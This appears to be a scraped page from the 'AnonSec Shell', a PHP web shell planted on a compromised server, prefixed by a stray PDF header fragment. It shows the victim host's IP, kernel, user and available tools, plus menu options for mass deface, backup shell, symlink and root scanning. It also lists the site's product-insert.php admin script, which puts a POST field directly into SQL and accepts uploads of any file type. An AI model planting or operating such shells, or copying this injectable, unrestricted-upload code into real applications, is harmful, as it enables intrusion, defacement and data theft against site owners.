%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/www/admin/dba/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/www/admin/dba/product-insert.php
<?php
ob_start();

include "../lib/include.php";
// Check if image file is a actual image or fake image
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
	
	$category_id = $_POST['category_id'];

	$keys = "`category_id`";
	$values = "'".$category_id."'";

	foreach($languages as $language){
				
		$title = addslashes($_POST['title_'.$language['key']]);
		$content = addslashes($_POST['content_'.$language['key']]);
		$serie_name = addslashes($_POST['serie_name_'.$language['key']]);
		$features = addslashes($_POST['features_'.$language['key']]);
		
		$keys = $keys.", title_".$language['key'].", content_".$language['key'].", serie_name_".$language['key'].", features_".$language['key'].", file_url_".$language['key'];
		$values = $values.", '".$title."', '".$content."', '".$serie_name."', '".$features."', ''";
	
	} 
	
	
	echo $insert_query = "INSERT INTO `tbl_product`(".$keys.") VALUES (".$values.")";
	$insert_result = $ceha->query($insert_query);
	$insert_id = $ceha->insert_id;
		
	
	foreach($languages as $language){
	
		$target_dir = "../../images/product/";
		$target_file = $target_dir.basename($_FILES["file_url_".$language['key']]["name"]);
		$uploadOk = 1;
		$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));

		// Check file size
		if ($_FILES["file_url_".$language['key']]["size"] > 10000000) {
			echo "Sorry, your file is too large.";
			$uploadOk = 0;
		}
		// Check if $uploadOk is set to 0 by an error
		if ($uploadOk == 0) {
			echo "Sorry, your file was not uploaded.";
		// if everything is ok, try to upload file
		} else {
			echo $new_name = uniqid();
			$target_file2 = $target_dir.$new_name.".".$imageFileType;
			if (move_uploaded_file($_FILES["file_url_".$language['key']]["tmp_name"], $target_file2)) {
				echo "The file ".$target_file2. " has been uploaded.";

				$update_result = $ceha->query("UPDATE `tbl_product` SET `file_url_".$language['key']."`='images/product/".$new_name.".".$imageFileType."' WHERE `id`='".$insert_id."'");

			} else {
				echo "Sorry, there was an error uploading your file.";
			}
		}
		
	}
	
	
	header("Location: ../product-update.php?selected-product=".$insert_id);
}
ob_end_flush();
?>

Anon7 - 2022
AnonSec Team